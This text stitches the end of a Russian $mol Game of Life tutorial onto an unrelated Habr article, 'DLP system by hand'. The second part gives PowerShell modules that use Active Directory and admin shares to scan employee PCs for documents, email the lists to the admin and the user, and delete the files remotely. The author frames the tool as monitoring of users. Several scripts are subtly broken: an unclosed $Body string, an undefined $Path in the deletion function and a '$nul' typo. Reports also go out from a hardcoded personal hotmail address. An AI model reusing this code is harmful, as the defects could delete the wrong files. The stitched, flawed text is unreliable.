return this.$.$mol_state_arg.make_link({ snapshot : this.snapshot_current() })
}
```
Выведем эту ссылку мы на тулбар в шапке вместе с переключателем скоростей:
```
tools /
<= Store_link $mol_link
uri <= store_link?val \
hint <= store_link_hint @ \Store snapshot
sub /
<= Stored $mol_icon_stored
<= Time $mol_switch
value?val <=> speed?val 0
options *
1 <= time_slowest_label @ \Slowest
5 <= time_slow_label @ \Slow
25 <= time_fast_label @ \Fast
60 <= time_fastest_label @ \Fastest
```
Если ссылка ведёт на текущий снепшот, то засеряем её:
```
[mol_app_life_store_link][mol_link_current] {
opacity: .5;
}
```
И последний штрих — добавляем локализацию:
```
{
"$mol_app_life_title": "Жизнь из {population} клеток",
"$mol_app_life_store_link_hint": "Запомнить состояние",
"$mol_app_life_time_slowest_label": "Тягуче",
"$mol_app_life_time_slow_label": "Лениво",
"$mol_app_life_time_fast_label": "Живо",
"$mol_app_life_time_fastest_label": "Рьяно"
}
```
Ещё немного мелких правок и приложение готово:
* [Открыть $mol\_app\_life](http://mol.js.org/app/life/)
* [Полные исходные коды](https://github.com/eigenmethod/mol/tree/master/app/life)
**Спасибо хабтратестировщикам в комментариях за ценную обратную связь. Все баги уже пофикшены.**
Интересные комбинации
=====================
[**Фабрика планеров**
](http://mol.js.org/app/life/#snapshot=0~1fffe~2ffff~20000~20001~10002~30000~6ffff~7ffff~7fffe~6fffe~6fffd~7fffd~80000~8fffc~a0000~a0001~afffc~afffb~14fffe~15fffd~15fffe~14fffd~-3~-fffd~-10003~-1fffd~-20002~-2fffe~-3ffff~-40000~-30001~-d0000~-e0000~-d0001~-c0001)
[**Асфальтоукладчик**
](http://mol.js.org/app/life/#snapshot=0~-fffe~2~3~4~-2fffd~-1fffd~-1fffc~-3fffc~-20000~-30000~-40000~-3ffff) | https://habr.com/ru/post/342064/ | null | ru | null |
# DLP система своими руками
Помимо основной задачи предотвращения утечек конфиденциальной информации у DLP-системы могут быть и второстепенные (дополнительные) задачи. К ним относятся:
* копирование передаваемых сообщений для расследования инцидентов безопасности, в будущем;
* устранение возможности оправки не только конфиденциальной информации, но и различной нежелательной (спама, оскорбительных выражений, информации эротического содержания, огромных объёмов данных и т.п.);
* фильтрация нежелательной информации при получении, а не только при отправке;
* устранения способов использования информационных ресурсов, сотрудниками, в личных целях;
* уменьшение трафика, оптимизация нагрузки каналов;
* контроль рабочего времени сотрудников.
Наша ручная DLP система не будет решать все поставленные задачи, а сосредоточиться только на:
* поиске определенных файлов в сети;
* составление отчетов и доставка отчетов системному администратору или офицеру безопасности;
* выполнение удаления, по определенным критериям.
Поиск файлов на ОС Windows, простая и тривиальная задача. Даже поиск на удаленной машине не намного сложнее. А вот если нужно, что то найти на сотни машинах, тут уж возникает вопрос как? Не руками же проходиться по всем ПК. Данная задача довольно часто встречается в работе Windows админов, когда например, нужно провести аудит по хранению информации. Вы скажете, что есть примеры реализации, да, но они больше нацелены на поиск запрещенной для хранения данных (фильмов, игр и т.п), предложенный мной вариант реализует одну из задач DLP системы.
И так что умеет скрипт (точнее набор скриптов)? Что бы не утруждать администратора и не выгружать список ПК для проверки, скрипт интегрируется с AD и получает нужную ему информацию, имеется возможность фильтра по расширению и имени, добавления исключений, формирования отчета в папке и с возможностью отослать сообщение администратору и пользователю (Оповещение об обнаруженных файлах и рекомендациям, которое необходимо предпринять). Параметры можно комбинировать и менять, получая нужный функционал. После поиска формируется список файлов с именами ПК в которых хранится информация по поиску. Вторая часть скрипта это удаление найденных файлов, всех или по определенным критериям.
Мы используем этот скрипт с целью слежения за пользователями и сообщения им о необходимости хранить рабочие документы в определенном месте (личном сетевом диске), скрипт определяет активного пользователя на ПК, берет данные о почтовом ящике из АД и отсылает уведомления о том какой файл и где обнаружен на локальном диске, который пользователь должен переместить на сетевое хранилище либо он будет удален. В конечном итоге удаляем, то, что не по регламенту. Таким образом, реализуем одну из функций DLP-систем по контролю хранения конфиденциальной информации.
Алгоритм скрипта по поиску файлов
---------------------------------
1. Получает перечень рабочих станций из определенной OU
2. Проверяет данные в атрибуте HomePage, если он имеет значение «Pass», пропускает поиск файлов, так как на этом компьютере уже осуществлялся поиск
3. Проверяет доступность
4. Если не доступен, записывает об этом в файл
5. Если доступен, выполняет поиск файлов
6. По окончанию поиска, записывает в атрибут HomePage – значение «Pass»
7. Формируется файл и именем машины и перечнем найденных файлов
8. Оправляется сообщение администратору с вложением
9. Определяет имя локального пользователя
10. Узнает в AD почтовый адрес пользователя
11. Отправляет копию отчета
Алгоритм скрипта сброса обхода
------------------------------
1. Получает перечень машин из AD
2. Устанавливает значение атрибута notpass
Таким образом все машины, попадают в поле обработки скрипта, в том числе которые уже были отсканированы.
Алгоритм скрипта удаления файлов
--------------------------------
1. Загружает содержимое скрипта
2. По каждой строке из списка (результата), удаляет объект на удаленном компьютере
Настройка скрипта и запуск (аудит файлов)
-----------------------------------------
Скрипт выполняется как команда с заданными параметрами. Ниже приведены примеры запуска скрипта и его параметры. Start-AuditFiles – команда выполняющая скрипт. Параметры можно комбинировать, так как того требует поставленная задача.
### Пример 1
```
Start-AuditFiles -OU "OU=Test,DC=root,DC=local" -SMTP smtp.server.com -AdminMail administrator@server.com -IncludeFile *.doc,*.docx,*.sys -ExclusionFile *File1*,*File2* -ExclusionFolder “*Folder1*,*Folder2*” -ReportPath \\server\reports\ - Throttle 5
```
В этом примере осуществляется поиск на компьютерах из OU, файлы все с расширением (\*.doc,\*.docx,\*.sys) кроме файлов (\*File1\*,\*File2\*), кроме каталогов (\*Folder1\*,\*Folder2\*), отчет дублируется в каталог (\\server\reports\). Отчет отсылается пользователю и администратору. Количество потоков равно 5-ти.
### Пример 2
```
Start-AuditFiles -RemoteComputer ws-pc-4902,ws-pc-0982 -SMTP smtp.server.com -AdminMail administrator@server.com -Include *.doc,*.docx,*.sys -ExclusionFile *New*,*au* -AdminOnly - Throttle 10
```
В этом примере осуществляется поиск на компьютерах (ws-pc-4902,ws-pc-098), файлы все с расширением (\*.doc,\*.docx,\*.sys) кроме файлов (\*File1\*,\*File2\*). Отчет отсылается только администратору. Количество потоков равно 10-ти.
### Параметры целевых компьютеров
**OU** (*обязательный или необходимо задать RemoteComputer*) – путь к организационной единице с целевыми компьютерами, если этот параметр не указан, следует указать параметр RemoteComputer. Один из двух этих параметров должен быть использован в скрипте.
Пример: -OU «OU=Test,DC=root,DC=local» или -OU $Computerlist (задается переменная в комбинации с другими скриптами).
**RemoteComputer** (*обязательный или необходимо задать OU*) – задается если необходимо выполнить скрипт только для определенных компьютеров из списка, либо один определенный, либо несколько указав из через запятую.
Пример: -RemoteComputer ws-pc-4902,ws-pc-0982
### Параметры поиска
**IncludeFile** (*обязательный, возможно использование маски* \*) – перечень файлов или их расширения, поиск которых необходимо выполнить (может быть списком).
**ExclusionFile** (*опциональный*) – перечень файлов, которые необходимо исключить из поиска (может быть списком).
**ExclusionFolder** (*опциональный*) – перечень исключенных из поиска каталогов.
### Параметры отчетов
**ReportPath** (*опциональный*) – путь к сетевому ресурсу или локальному каталогу, в который будет выполняться копирование результатов сканирования.
**AdminMail** (*опциональный*) – адрес от имени которого выполняется отправка отчета, на этот же адрес будут доставляться отчеты предназначенные администратору.
**SMTP** (*опциональный*) – имя SMTP сервере, используемый в качестве шлюза отправки сообщений.
**AdminOnly** (*опциональный*) – включает режим отправки отчетов только администратору.
**Throttle** (*обязательный, числовое значение от 1 – до 99*) – устанавливает количество потоков сканирования.
Установка модулей
-----------------
Необходимо в каталог «C:\Windows\system32\WindowsPowerShell\v1.0\Modules», скопировать файлы:
*Invoke-Parallel.psm1
Start-AuditFiles.psm1*
Перед выполнением скрипта модули необходимо импортировать:
```
Import-Module C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Invoke-Parallel.psm1
Import-Module C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Start-AuditFiles.psm1
```
### Скрипт (модуль)
Данный скрипт необходимо сохранить как файл *Invoke-Parallel.psm1*.
**Скрипт Invoke-Parallel.psm1**
```
function Invoke-Parallel {
[cmdletbinding(DefaultParameterSetName='ScriptBlock')]
Param (
[Parameter(Mandatory=$false,position=0,ParameterSetName='ScriptBlock')]
[System.Management.Automation.ScriptBlock]$ScriptBlock,
[Parameter(Mandatory=$false,ParameterSetName='ScriptFile')]
[ValidateScript({test-path $_ -pathtype leaf})]
$ScriptFile,
[Parameter(Mandatory=$true,ValueFromPipeline=$true)]
[Alias('CN','__Server','IPAddress','Server','ComputerName')]
[PSObject]$InputObject,
[PSObject]$Parameter,
[switch]$ImportVariables,
[switch]$ImportModules,
[int]$Throttle = 20,
[int]$SleepTimer = 200,
[int]$RunspaceTimeout = 0,
[switch]$NoCloseOnTimeout = $false,
[int]$MaxQueue,
[validatescript({Test-Path (Split-Path $_ -parent)})]
[string]$LogFile = "C:\temp\log.log",
[switch] $Quiet = $false
)
Begin {
if( -not $PSBoundParameters.ContainsKey('MaxQueue') )
{
if($RunspaceTimeout -ne 0){ $script:MaxQueue = $Throttle }
else{ $script:MaxQueue = $Throttle * 3 }
}
else
{
$script:MaxQueue = $MaxQueue
}
Write-Verbose "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue' logFile '$logFile'"
if ($ImportVariables -or $ImportModules)
{
$StandardUserEnv = [powershell]::Create().addscript({
$Modules = Get-Module | Select -ExpandProperty Name
$Snapins = Get-PSSnapin | Select -ExpandProperty Name
$Variables = Get-Variable | Select -ExpandProperty Name
@{
Variables = $Variables
Modules = $Modules
Snapins = $Snapins
}
}).invoke()[0]
if ($ImportVariables) {
Function _temp {[cmdletbinding()] param() }
$VariablesToExclude = @( (Get-Command _temp | Select -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables )
Write-Verbose "Excluding variables $( ($VariablesToExclude | sort ) -join ", ")"
$UserVariables = @( Get-Variable | Where { -not ($VariablesToExclude -contains $_.Name) } )
Write-Verbose "Found variables to import: $( ($UserVariables | Select -expandproperty Name | Sort ) -join ", " | Out-String).`n"
}
if ($ImportModules)
{
$UserModules = @( Get-Module | Where {$StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path $_.Path -ErrorAction SilentlyContinue)} | Select -ExpandProperty Path )
$UserSnapins = @( Get-PSSnapin | Select -ExpandProperty Name | Where {$StandardUserEnv.Snapins -notcontains $_ } )
}
}
Function Get-RunspaceData {
[cmdletbinding()]
param( [switch]$Wait )
Do {
$more = $false
if (-not $Quiet) {
Write-Progress -Activity "Running Query" -Status "Starting threads"`
-CurrentOperation "$startedCount threads defined - $totalCount input objects - $script:completedCount input objects processed"`
-PercentComplete $( Try { $script:completedCount / $totalCount * 100 } Catch {0} )
}
Foreach($runspace in $runspaces) {
$currentdate = Get-Date
$runtime = $currentdate - $runspace.startTime
$runMin = [math]::Round( $runtime.totalminutes ,2 )
$log = "" | select Date, Action, Runtime, Status, Details
$log.Action = "Removing:'$($runspace.object)'"
$log.Date = $currentdate
$log.Runtime = "$runMin minutes"
If ($runspace.Runspace.isCompleted) {
$script:completedCount++
if($runspace.powershell.Streams.Error.Count -gt 0) {
$log.status = "CompletedWithErrors"
Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1]
foreach($ErrorRecord in $runspace.powershell.Streams.Error) {
Write-Error -ErrorRecord $ErrorRecord
}
}
else {
$log.status = "Completed"
Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1]
}
$runspace.powershell.EndInvoke($runspace.Runspace)
$runspace.powershell.dispose()
$runspace.Runspace = $null
$runspace.powershell = $null
}
ElseIf ( $runspaceTimeout -ne 0 -and $runtime.totalseconds -gt $runspaceTimeout) {
$script:completedCount++
$timedOutTasks = $true
$log.status = "TimedOut"
Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1]
Write-Error "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | out-string)"
if (!$noCloseOnTimeout) { $runspace.powershell.dispose() }
$runspace.Runspace = $null
$runspace.powershell = $null
$completedCount++
}
ElseIf ($runspace.Runspace -ne $null ) {
$log = $null
$more = $true
}
if($logFile -and $log){
($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] | out-file $LogFile -append
}
}
$temphash = $runspaces.clone()
$temphash | Where { $_.runspace -eq $Null } | ForEach {
$Runspaces.remove($_)
}
if($PSBoundParameters['Wait']){ Start-Sleep -milliseconds $SleepTimer }
} while ($more -and $PSBoundParameters['Wait'])
}
if($PSCmdlet.ParameterSetName -eq 'ScriptFile')
{
$ScriptBlock = [scriptblock]::Create( $(Get-Content $ScriptFile | out-string) )
}
elseif($PSCmdlet.ParameterSetName -eq 'ScriptBlock')
{
[string[]]$ParamsToAdd = '$_'
if( $PSBoundParameters.ContainsKey('Parameter') )
{
$ParamsToAdd += '$Parameter'
}
$UsingVariableData = $Null
if($PSVersionTable.PSVersion.Major -gt 2)
{
$UsingVariables = $ScriptBlock.ast.FindAll({$args[0] -is [System.Management.Automation.Language.UsingExpressionAst]},$True)
If ($UsingVariables)
{
$List = New-Object 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]'
ForEach ($Ast in $UsingVariables)
{
[void]$list.Add($Ast.SubExpression)
}
$UsingVar = $UsingVariables | Group SubExpression | ForEach {$_.Group | Select -First 1}
$UsingVariableData = ForEach ($Var in $UsingVar) {
Try
{
$Value = Get-Variable -Name $Var.SubExpression.VariablePath.UserPath -ErrorAction Stop
[pscustomobject]@{
Name = $Var.SubExpression.Extent.Text
Value = $Value.Value
NewName = ('$__using_{0}' -f $Var.SubExpression.VariablePath.UserPath)
NewVarName = ('__using_{0}' -f $Var.SubExpression.VariablePath.UserPath)
}
}
Catch
{
Write-Error "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!"
}
}
$ParamsToAdd += $UsingVariableData | Select -ExpandProperty NewName -Unique
$NewParams = $UsingVariableData.NewName -join ', '
$Tuple = [Tuple]::Create($list, $NewParams)
$bindingFlags = [Reflection.BindingFlags]"Default,NonPublic,Instance"
$GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl',$bindingFlags))
$StringScriptBlock = $GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast,@($Tuple))
$ScriptBlock = [scriptblock]::Create($StringScriptBlock)
Write-Verbose $StringScriptBlock
}
}
$ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ", "))`r`n" + $Scriptblock.ToString())
}
else
{
Throw "Must provide ScriptBlock or ScriptFile"; Break
}
Write-Debug "`$ScriptBlock: $($ScriptBlock | Out-String)"
Write-Verbose "Creating runspace pool and session states"
$sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
if ($ImportVariables)
{
if($UserVariables.count -gt 0)
{
foreach($Variable in $UserVariables)
{
$sessionstate.Variables.Add( (New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Variable.Name, $Variable.Value, $null) )
}
}
}
if ($ImportModules)
{
if($UserModules.count -gt 0)
{
foreach($ModulePath in $UserModules)
{
$sessionstate.ImportPSModule($ModulePath)
}
}
if($UserSnapins.count -gt 0)
{
foreach($PSSnapin in $UserSnapins)
{
[void]$sessionstate.ImportPSSnapIn($PSSnapin, [ref]$null)
}
}
}
$runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host)
$runspacepool.Open()
Write-Verbose "Creating empty collection to hold runspace jobs"
$Script:runspaces = New-Object System.Collections.ArrayList
$bound = $PSBoundParameters.keys -contains "InputObject"
if(-not $bound)
{
[System.Collections.ArrayList]$allObjects = @()
}
if( $LogFile ){
New-Item -ItemType file -path $logFile -force | Out-Null
("" | Select Date, Action, Runtime, Status, Details | ConvertTo-Csv -NoTypeInformation -Delimiter ";")[0] | Out-File $LogFile
}
$log = "" | Select Date, Action, Runtime, Status, Details
$log.Date = Get-Date
$log.Action = "Batch processing started"
$log.Runtime = $null
$log.Status = "Started"
$log.Details = $null
if($logFile) {
($log | convertto-csv -Delimiter ";" -NoTypeInformation)[1] | Out-File $LogFile -Append
}
$timedOutTasks = $false
}
Process {
if($bound)
{
$allObjects = $InputObject
}
Else
{
[void]$allObjects.add( $InputObject )
}
}
End {
Try
{
$totalCount = $allObjects.count
$script:completedCount = 0
$startedCount = 0
foreach($object in $allObjects){
$powershell = [powershell]::Create()
if ($VerbosePreference -eq 'Continue')
{
[void]$PowerShell.AddScript({$VerbosePreference = 'Continue'})
}
[void]$PowerShell.AddScript($ScriptBlock).AddArgument($object)
if ($parameter)
{
[void]$PowerShell.AddArgument($parameter)
}
if ($UsingVariableData)
{
Foreach($UsingVariable in $UsingVariableData) {
Write-Verbose "Adding $($UsingVariable.Name) with value: $($UsingVariable.Value)"
[void]$PowerShell.AddArgument($UsingVariable.Value)
}
}
$powershell.RunspacePool = $runspacepool
$temp = "" | Select-Object PowerShell, StartTime, object, Runspace
$temp.PowerShell = $powershell
$temp.StartTime = Get-Date
$temp.object = $object
$temp.Runspace = $powershell.BeginInvoke()
$startedCount++
Write-Verbose ( "Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring() )
$runspaces.Add($temp) | Out-Null
Get-RunspaceData
$firstRun = $true
while ($runspaces.count -ge $Script:MaxQueue) {
if($firstRun){
Write-Verbose "$($runspaces.count) items running - exceeded $Script:MaxQueue limit."
}
$firstRun = $false
Get-RunspaceData
Start-Sleep -Milliseconds $sleepTimer
}
}
Write-Verbose ( "Finish processing the remaining runspace jobs: {0}" -f ( @($runspaces | Where {$_.Runspace -ne $Null}).Count) )
Get-RunspaceData -wait
if (-not $quiet) {
Write-Progress -Activity "Running Query" -Status "Starting threads" -Completed
}
}
Finally
{
if ( ($timedOutTasks -eq $false) -or ( ($timedOutTasks -eq $true) -and ($noCloseOnTimeout -eq $false) ) ) {
Write-Verbose "Closing the runspace pool"
$runspacepool.close()
}
[gc]::Collect()
}
}
}
```
Следующий скрипт необходимо сохранить как файл *Start-AuditFiles.psm1*.
**Скрипт Start-AuditFiles.psm1**
```
$Body =
", напоминаем Вам о действии приказа о запрете хранения служебной информации на локальных дисках ПК.
В прикрепленном к письму файле, Вы найдете список документов обнаруженных на Вашем ПК потенциально содержащих служебную информацию.
Вам необходимо в кратчайшие сроки:
1) проверить указанные документы на предмет наличия служебной информации
2) переместить файлы содержащие служебную информацию на личный сетевой диск.
Function Start-AuditFiles {
<#
.Synopsis
Сканирует файлы на удаленной машине, в случае успеха отправляет отчет почтовым сообщением
.Description
Сканер позволяет обнаружить искомые файлы на удаленной машине через административный ресурс (C$ D$ .. и т.д).
После выполнения скрипт:
1. Находит объекты комрьютер в опеределенной OU или заданый компьютер через параметр
2. Проверяет доступность машины
3. Выполняет поиск всех дисков
4. Выполняет поиск искомых файлов с фильтрацией, формирует отчет
5. Отправляет отчет администратору
6. Получает активного пользователя, определяет его почтовый адрес, отправляет копию отчета
7. Формирует списки результатов сканирования, опционально копирует результаты на удаленный ресурс
.Examples
Пример 1
Start-AuditFiles -OU "OU=Test,DC=root,DC=local" -SMTP smtp.server.com -AdminMail administrator@server.com -IncludeFile *.doc,*.docx,*.sys -ExclusionFile *File1*,*File2* -ExclusionFolder *Folder1*,*Folder2* -ReportPath \\server\reports\
В этом примере осуществляется поиск на компьютерах из OU, файлы все с расширением (*.doc,*.docx,*.sys) кроме файлов (*File1*,*File2*), кроме каталогов (*Folder1*,*Folder2*), отчет дублируется в каталог (\\server\reports\)
Пример 2
Start-AuditFiles -RemoteComputer ws-pc-4902,ws-pc-0982 -SMTP smtp.server.com -AdminMail administrator@server.com -Include *.doc,*.docx,*.sys -ExclusionFile *New*,*au* -AdminOnly
В этом примере осуществляется поиск на компьютерах (ws-pc-4902,ws-pc-098), файлы все с расширением (*.doc,*.docx,*.sys) кроме файлов (*File1*,*File2*), отчет отсылается только администратору
.Notes
Следует использовать только один из ключей OU или RemoteComputer, OU указывает организационную единицу, RemoteComputer указывает один или несколько компьютер в качестве объектов сканирования
.Link
...
#>
[CmdletBinding()]
Param (
[String]$OU,
[String[]]$RemoteComputer,
[String[]]$ExclusionFile,
[String]$ReportPath,
[String]$AdminMail,
[String[]]$IncludeFile,
[String[]]$ExclusionFolder,
[Switch]$AdminOnly = $false,
[String]$SMTP,
[String]$Throttle = 5
)
If (!$RemoteComputer) {$Hosts = (Get-ADComputer -Filter * -SearchBase $OU -Properties * | where { ( $PSItem.HomePage -notlike 'pass' )} ).name} else { $Hosts = $RemoteComputer }
invoke-parallel -InputObject $Hosts -throttle $Throttle -ImportVariables -ScriptBlock {
if(Test-Connection -ComputerName $_ -BufferSize 16 -quiet -count 2) {
$Object = $_
$ErrorActionPreference = 'SilentlyContinue'
$ExclusionFolder2 = $ExclusionFolder -replace ",","|"
$StartTime = (Get-Date).ToString()
$Hosts
(Get-WMIObject Win32_LogicalDisk -filter "DriveType = 3" -ComputerName $Object | %{Get-ChildItem ('\\' + $Object + '\' + ($_.DeviceID).remove(1) + '$\*') -Include $IncludeFile -Exclude $ExclusionFile -Recurse -Force | ?{$PSItem.FullName -notmatch $ExclusionFolder2}}).FullName | Out-File -FilePath $env:TEMP\$Object.txt -Encoding unicode
If (!$ReportPath) {} else {Copy-Item -Path $env:TEMP\$Object.txt -Destination $ReportPath -Force}
$EndTime = (Get-Date).ToString()
Write-Output ($Object) | Add-Content $env:TEMP\Online.txt
Invoke-Item $env:TEMP\$Object.txt
$Results = "" | Select ComputerName, "StartTime", "EndTime"
$Results.ComputerName = $Object
$Results.StartTime = $StartTime
$Results.EndTime =$EndTime
$Results
If ((Get-Content $env:TEMP\$Object.txt) -eq $Null) {}
else {
Try {
Send-MailMessage -SmtpServer $SMTP -to $AdminMail -Body $Object -From denis.pasternak@hotmail.com -Subject $Object -Attachments $env:TEMP\$Object.txt
} Catch {''}
If ($AdminOnly -eq $True) { Write-Host "Включен параметр AdminOnly - отчет отправлен только аминистратору" -ForegroundColor Yellow} else
{
$Username=((gwmi win32_computersystem -computer $Object -ErrorAction SilentlyContinue).UserName -split '\\')[1]
if($username -ne $null)
{
$Body = $Body
$dispalyname = (Get-AdUser $username -properties DisplayName).DisplayName
$email = (Get-AdUser $username -properties mail).mail
sleep -Seconds 3
Send-MailMessage -SmtpServer $SMTP -Body ( 'Уважаемый ' + $Dispalyname + ' ' + $Body | out-string ) -To $email -From $AdminMail -Subject $Object -Attachments $env:TEMP\$Object.txt -Encoding Unicode
}
}
}
else{ }
}
else {
(Write-Output ($Object + ' ' + (Get-Date).ToString()) | Add-Content $env:TEMP\Offline.txt)}
}
$OU= $null
$RemoteComputer = $null
$Hosts = $nul
Get-Content $env:TEMP\Online.txt | Set-ADComputer -HomePage 'pass'
}
Function Remove-AuditFiles {
[CmdletBinding(SupportsShouldProcess=$True)]
Param (
[String]$TargetFile
)
Get-Content -Path "$env:TEMP\$Path" | %{Remove-Item $PSItem}
}
Function Reset-AuditComputers {
[CmdletBinding(SupportsShouldProcess=$True)]
Param (
[String]$TargetOU
)
Get-ADComputer -Filter * -SearchBase $TargetOU -Properties * | Set-ADComputer -HomePage 'notpass'
'' | Set-Content -Path $env:TEMP\Online.txt
}
```
Выполнение по расписанию
------------------------
Создайте файл, в примере каталог c:\scripts.
RunScript.ps1 — файл
Скопируйте текст:
```
Import-Module C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Invoke-Parallel.psm1
Import-Module C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Start-AuditFiles.psm1
# Ниже приведен пример, укажите предпочитаемые параметры и их значения
Start-AuditFiles -OU "OU=Test,DC=root,DC=local" -SMTP smtp.server.com -AdminMail administrator@server.com -IncludeFile *.doc,*.docx,*.sys -ExclusionFile *File1*,*File2* -ExclusionFolder *Folder1*,*Folder2* -ReportPath \\server\reports\ - Throttle 5
```
#### Создание расписания поиска файлов
* в управлении компьютером, перейдите в раздел «Планировщик заданий». Создайте задание, введите желаемое имя задания
* укажите периодичность «Ежедневное»
* установите период «каждый день»
* оставьте опцию «Запустить программу»
* путь к программе — C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Аргумент запуска — C:\Scripts\RunScript.ps1
* после создания, откройте свойство задания, перейдите на вкладку «Триггеры»
* установите опцию «Повторить задачу каждые», указав нужную периодичность повторения
* установите опции «Выполнять для всех пользователей» и «Выполнять с наивысшим приоритетом». Укажите пользователя, имеющего право на чтение всех файлов на удаленных компьютерах. Как правило это пользователи, входящие в группу администраторов на удаленных компьютерах.
Информация о результатах и рабочих файлах
-----------------------------------------
Скрипт хранит результаты сканирования в каталоге %TEMP%. В примере этот каталог: C:\Users\Администратор\AppData\Local\Temp. Если компьютер доступен и файл найден – создается файл с результатом. Если компьютер не доступен – информация об это добавляется в файл offline.txt.
Удаление найденных файлов
-------------------------
Запустите PowerShell выполните команду:
```
Import-Module C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Start-AuditFiles.psm1
Remove-AuditFiles
Или
Remove-AuditFiles - TargetFile ws-9281.txt,ws-8721.txt
```
*Remove-AuditFiles* — выполнит поиск всех результатов поиска, обработав каждый результат удалит файлы.
Вы можете указать конкретный файл (конкретный компьютер) Например:
Remove-AuditFiles — TargetFile ws-9281.txt,ws-8721.txt
Сброс перечня отсканированных компьютеров
-----------------------------------------
Запустите PowerShell выполните команду:
**Reset-AuditComputers**
После выполнения, компьютеры в указанной OU будут отмечены как не отсканированы:
```
Import-Module C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Start-AuditFiles.psm1
Reset-AuditComputers - TargetOU OU "OU=Test,DC=root,DC=local"
```
**Описание скрипта**Переменная $Body – содержит текст, который в дальнейшем будет вставлен в тело письма. В дальнейшем этот текст будет отправлен в письме конечному пользователю.
```
$Body =
", напоминаем Вам о действии приказа о запрете хранения служебной информации на локальных дисках ПК.
В прикрепленном к письму файле, Вы найдете список документов обнаруженных на Вашем ПК потенциально содержащих служебную информацию.
Вам необходимо в кратчайшие сроки:
1) проверить указанные документы на предмет наличия служебной информации
2) переместить файлы содержащие служебную информацию на личный сетевой диск.
```
Начало функции, которой дано производное название Start-AuditFiles:
```
Function Start-AuditFiles {
```
Описание скрипта, сопроводительный текст справки. Позволяет использовать помощь, получить информацию о примерах и синтаксисе используя «Get-Help Start-AuditFiles»:
```
<#
.Synopsis
Сканирует файлы на удаленной машине, в случае успеха отправляет отчет почтовым сообщением
.Description
Сканер позволяет обнаружить искомые файлы на удаленной машине через административный ресурс (C$ D$ .. и т.д).
После выполнения скрипт:
1. Находит объекты комрьютер в опеределенной OU или заданый компьютер через параметр
2. Проверяет доступность машины
3. Выполняет поиск всех дисков
4. Выполняет поиск искомых файлов с фильтрацией, формирует отчет
5. Отправляет отчет администратору
6. Получает активного пользователя, определяет его почтовый адрес, отправляет копию отчета
7. Формирует списки результатов сканирования, опционально копирует результаты на удаленный ресурс
.Examples
Пример 1
Start-AuditFiles -OU "OU=Test,DC=root,DC=local" -SMTP smtp.server.com -AdminMail administrator@server.com -IncludeFile *.doc,*.docx,*.sys -ExclusionFile *File1*,*File2* -ExclusionFolder *Folder1*,*Folder2* -ReportPath \\server\reports\
В этом примере осуществляется поиск на компьютерах из OU, файлы все с расширением (*.doc,*.docx,*.sys) кроме файлов (*File1*,*File2*), кроме каталогов (*Folder1*,*Folder2*), отчет дублируется в каталог (\\server\reports\)
Пример 2
Start-AuditFiles -RemoteComputer ws-pc-4902,ws-pc-0982 -SMTP smtp.server.com -AdminMail administrator@server.com -Include *.doc,*.docx,*.sys -ExclusionFile *New*,*au* -AdminOnly
В этом примере осуществляется поиск на компьютерах (ws-pc-4902,ws-pc-098), файлы все с расширением (*.doc,*.docx,*.sys) кроме файлов (*File1*,*File2*), отчет отсылается только администратору
.Notes
Следует использовать только один из ключей OU или RemoteComputer, OU указывает организационную единицу, RemoteComputer указывает один или несколько компьютер в качестве объектов сканирования
.Link
...
#>
```
Описываем переменные, которые в дальнейшем будем использовать в функции:
$OU — путь к Organization Unit в Active Directory
$ExclusionFile –перечень файлов, исключённых из поиска
$ReportPath – путь к каталогу, куда будут дублироваться отчеты
$AdminMail – адрес электронной администратора, от которого отправляются отчеты и куда будет приходить копия, предназначенная администратору
$IncludeFile – расширения файлов или имена файлов, поиск которых осуществляется
$ExclusionFolder – перечень папок, исключенных из поиска
$AdminOnly – параметр отвечающий, будут ли отчеты отправляться только администратору
$SMTP – адрес или имя SMTP сервера
$Throttle – количество параллельных потоков.
```
[CmdletBinding()]
Param (
[String]$OU,
[String[]]$RemoteComputer,
[String[]]$ExclusionFile,
[String]$ReportPath,
[String]$AdminMail,
[String[]]$IncludeFile,
[String[]]$ExclusionFolder,
[Switch]$AdminOnly = $false,
[String]$SMTP,
[String]$Throttle = 5
)
```
Выполняется проверка, если использовался ключ «RemoteComputer», в таком случае сканирование пройдет только на определенном (заданном) компьютере, если указан ключ «OU» — в этом случае список будет получен из определённой OU AD, будут выбраны компьютеры с атрибутом HomePage – не равным «pass» (это выполняется, дабы исключить повторный поиск на машинах, на которых уже был проведен поиск).
```
If (!$RemoteComputer) {$Hosts = (Get-ADComputer -Filter * -SearchBase $OU -Properties * | where { ( $PSItem.HomePage -notlike 'pass' )} ).name} else { $Hosts = $RemoteComputer }
```
Начало выполнения скрипта, подставляется значение Host и число потоков:
```
invoke-parallel -InputObject $Hosts -throttle $Throttle -ImportVariables -ScriptBlock {
```
Проверка доступности компьютера в сети:
```
if(Test-Connection -ComputerName $_ -BufferSize 16 -quiet -count 2) {
```
Присваиваются значения переменных, необходимых для выполнения поиска взятые из переменных описанных выше. Запоминается начало выполнения поиска.
```
